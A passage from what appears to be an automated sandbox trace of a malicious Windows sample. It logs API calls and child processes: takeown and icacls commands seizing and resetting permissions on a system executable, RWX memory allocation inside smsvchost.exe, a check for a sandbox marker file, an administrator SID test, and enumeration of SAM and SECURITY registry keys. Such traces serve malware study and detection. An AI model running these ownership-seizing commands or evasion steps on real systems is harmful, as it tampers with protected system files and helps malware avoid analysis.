(dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0173.293] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd681b8) returned 1 [0173.293] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd681b8 [0173.293] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x128 [0173.293] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd681b8) returned 1 [0173.293] SetEvent (hEvent=0x124) returned 1 [0173.293] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) Thread: id = 1059 os_tid = 0x7e4 Process: id = "66" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x54def000" os_pid = "0x130" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 772 os_tid = 0x5d8 Process: id = "67" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x554f4000" os_pid = "0x77c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 773 os_tid = 0x6c4 Process: id = "68" image_name = "smsvchost.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe" page_root = "0x53ca1000" os_pid = "0x788" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "S-1-5-80-2943419899-937267781-4189664001-1229628381-3982115073" [0xa], "S-1-5-80-3579033775-2824656752-1522793541-1960352512-462907086" [0xa], "NT SERVICE\\NetTcpPortSharing" [0xe], "NT AUTHORITY\\Logon Session 00000000:00030a4e" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 774 os_tid = 0x2f8 [0174.415] GetTimeZoneInformation (in: lpTimeZoneInformation=0x19fba0 | out: lpTimeZoneInformation=0x19fba0) returned 0x2 [0174.417] GetCurrentProcess () returned 0xffffffff [0174.417] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x19fb8c | out: lpExitCode=0x19fb8c*=0x103) returned 1 [0174.417] GetForegroundWindow () returned 0x0 [0174.417] GetCaretBlinkTime () returned 0x1f4 [0174.417] GetFileType (hFile=0xf710cd) returned 0x0 [0174.417] GetConsoleProcessList (in: lpdwProcessList=0x19fc4c, dwProcessCount=0x1 | out: lpdwProcessList=0x19fc4c) returned 0x0 [0174.417] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x19fb58 | out: pcyOut=0x19fb58) returned 0x0 [0174.418] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0174.418] GetCommState (in: hFile=0x3b268c, lpDCB=0x19f9c0 | out: lpDCB=0x19f9c0) returned 0 [0174.418] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x19f9bc, pmr=0x19f9a8, cht=0x353) returned 0 [0174.418] CloseClipboard () returned 0 [0174.418] CoUninitialize () [0174.418] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0174.418] ReleaseMutex (hMutex=0xa0) returned 0 [0174.418] CloseHandle (hObject=0xa0) returned 1 [0174.419] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0174.419] GetCommState (in: hFile=0x3b268c, lpDCB=0x19f9c0 | out: lpDCB=0x19f9c0) returned 0 [0174.419] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x19f9bc, pmr=0x19f9a8, cht=0x353) returned 0 [0174.419] CloseClipboard () returned 0 [0174.419] CoUninitialize () [0174.419] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0174.419] ReleaseMutex (hMutex=0xa0) returned 0 [0174.419] CloseHandle (hObject=0xa0) returned 1 [0174.419] GetLocalTime (in: lpSystemTime=0x19fc5c | out: lpSystemTime=0x19fc5c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x17, wSecond=0x2f, wMilliseconds=0x2e1)) [0174.419] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x19f6dc | out: ProcedureAddress=0x19f6dc*=0x77011856) returned 0x0 [0174.419] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0174.636] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x19f6dc | out: ProcedureAddress=0x19f6dc*=0x77011856) returned 0x0 [0174.636] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x60000 [0174.637] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x19f774 | out: ProcedureAddress=0x19f774*=0x770149d7) returned 0x0 [0174.637] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x19f774 | out: ProcedureAddress=0x19f774*=0x77011222) returned 0x0 [0174.637] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x19f774 | out: ProcedureAddress=0x19f774*=0x77011856) returned 0x0 [0174.637] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x19f774 | out: ProcedureAddress=0x19f774*=0x7701435f) returned 0x0 [0174.637] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0174.637] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0174.637] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0174.637] VirtualProtect (in: lpAddress=0x1260000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x19f828 | out: lpflOldProtect=0x19f828*=0x2) returned 1 [0174.647] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x1c0000 [0174.650] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0174.651] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0174.651] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0174.651] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0175.530] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.543] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xe70000 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x104) returned 0xe707d0 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe708e0 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70968 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe709f0 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70a78 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70b00 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70b88 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70c10 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70c98 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70d20 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70da8 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70e30 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70eb8 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70f40 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe70fc8 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe71050 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x80) returned 0xe710d8 [0175.553] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x400) returned 0xe71160 [0175.553] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x3a0000 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3a07d0 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3a0858 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3a08e0 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x184) returned 0x3a0968 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0af8 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0b40 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0b88 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0bd0 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0c18 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0c60 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0ca8 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0cf0 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0d38 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0d80 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0dc8 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0e10 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0e58 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0ea0 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0ee8 [0175.554] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0f30 [0175.554] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19f370, nSize=0x1000 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe")) returned 0x3d [0175.555] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3a0f78 [0175.556] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2c) returned 0x3ab828 [0175.614] GetVersionExW (in: lpVersionInformation=0x19f990*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x19f990*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0175.614] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19f978 | out: Wow64Process=0x19f978) returned 1 [0175.614] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f954 | out: TokenHandle=0x19f954*=0xa0) returned 1 [0175.614] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f950 | out: TokenInformation=0x0, ReturnLength=0x19f950) returned 0 [0175.614] GetLastError () returned 0x7a [0175.614] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x180) returned 0x3ab860 [0175.614] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x3ab860, TokenInformationLength=0x168, ReturnLength=0x19f950 | out: TokenInformation=0x3ab860, ReturnLength=0x19f950) returned 1 [0175.614] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f960, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f958 | out: pSid=0x19f958*=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab8d4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab914*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab920*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab92c*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xfb, [5]=0x5))) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab94c*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xaf, [5]=0xb8))) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab96c*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x4a, [5]=0xf8))) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab98c*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab9a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab9ac*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x21)) returned 0 [0175.615] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3ab9b8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0175.615] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab860) returned 1 [0175.615] NtClose (Handle=0xa0) returned 0x0 [0175.615] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ab860 [0175.616] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ab8a8 [0175.617] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x280) returned 0x3ab930 [0175.618] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0175.624] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x3ab930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0175.624] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.624] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abc58 [0175.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x3abc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0175.625] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abca0 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abc58) returned 1 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abca0) returned 1 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.625] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x3ab930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0175.625] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.625] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abca0 [0175.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x3abca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0175.625] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abc58 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abca0) returned 1 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abc58) returned 1 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.625] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x3ab930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0175.625] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.625] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abc58 [0175.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x3abc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0175.625] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abca0 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abc58) returned 1 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abca0) returned 1 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.625] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x3ab930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0175.625] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.625] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abca0 [0175.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x3abca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0175.625] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abc58 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abca0) returned 1 [0175.625] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abc58) returned 1 [0175.626] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.626] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x3ab930, cchName=0x104 